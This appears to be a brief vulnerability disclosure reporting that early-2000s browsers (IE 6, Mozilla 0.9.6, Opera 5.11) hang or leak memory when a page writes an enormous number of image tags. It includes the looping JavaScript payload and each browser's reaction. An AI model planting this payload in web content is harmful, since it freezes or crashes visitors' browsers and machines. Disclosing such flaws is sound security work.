Browsers fails on big image count

[Pavel Titov <Pavel.Titov () mtu-net ru>]

Code

<script>
for(i=0;i<100000000;i++) {
  document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>

Browser reaction

IE 6 (build 2600) @ Win2K - after long time with ~50% CPU utilization 
and very high disk utilization asks about stopping script. Small memory 
leak (few Mb per minute).
IE 6 (build 2600) @ Win98 - freezes, other IE windows renders very long,
terminating task causes computer lockup.
Mozilla 0.9.6 (build 2001112009) @ Win2K - freezes, ~98% CPU utilization 
and big memory leak (bigger than 1Mb per second).
Opera 5.11 (build 094d) @ Win2K - not freezes, responds, but not very 
fast. Big CPU utilization and very small memory leak (few hundreth 
kilobytes per minute).

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